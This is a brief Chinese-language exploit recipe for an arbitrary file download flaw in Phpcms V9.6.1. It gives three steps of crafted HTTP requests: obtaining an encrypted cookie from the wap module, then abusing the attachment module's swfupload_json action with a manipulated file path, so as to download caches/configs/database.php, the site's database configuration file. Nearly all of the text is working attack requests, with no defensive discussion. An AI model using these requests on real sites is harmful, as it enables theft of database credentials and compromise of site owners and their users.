PhpcmsV9.6.1任意文件下载

admin

首先第一步：

通过访问wap模块拿到加密后的cookie

1. http://127.0.0.1/index.php?m=wap&c=index&siteid=1

复制代码

第二步

1. 127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1&m=1&f=caches/configs/database.php%3C&modelid=1&catid=1&s=&i=1&d=1&
   
2. 
   
3. POST: userid_flash=3254G0WHf0Ezjn-F0XeGWGKAFzbQIG74zvdPJNuj

复制代码

第三步

1. 127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1&m=1&f=caches/configs/database.php%3C&modelid=1&catid=1&s=&i=1&d=1&

复制代码

caches/configs/database.php你要下载的文件